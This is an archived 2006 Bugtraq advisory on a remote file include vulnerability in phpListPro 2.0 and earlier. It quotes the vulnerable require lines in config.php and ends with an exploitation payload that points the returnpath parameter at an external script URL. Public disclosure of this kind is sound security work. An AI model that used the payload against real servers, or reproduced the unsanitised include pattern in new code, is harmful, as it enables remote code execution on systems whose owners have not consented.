bugtraq - phpListPro <= 2.0 - Remote File Include Vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060411120353.13328.qmail@securityfocus.com>
Date: 11 Apr 2006 12:03:53 -0000
From: admin@...orsecurity.de
To: bugtraq@...urityfocus.com
Subject: phpListPro <= 2.0 - Remote File Include Vulnerability


phpListPro <= 2.0 - Remote File Include Vulnerability 
--------------------------------------------------------
Software: phpListPro 
Version: <=2.00
Type: Remote File Include Vulnerability
Date: April, 11th 2006
Vendor: SmartISoft
Page: http://smartisoft.com
Risc: High


Credits:
----------------------------
'Aesthetico'
http://www.majorsecurity.de


Description:
----------------------------
PHP/mySQL rating TopList professional.


Vulnerability:
----------------------------
The config.php is vulnerable at following lines:

142: require ($returnpath."lang_".$default_language.".php");
143: require ($returnpath."library.php");


Solution:
----------------------------
There isn't a solution yet.


Exploitation:
----------------------------
Post data:
returnpath=http://www.yourspace.com/yourscript.php?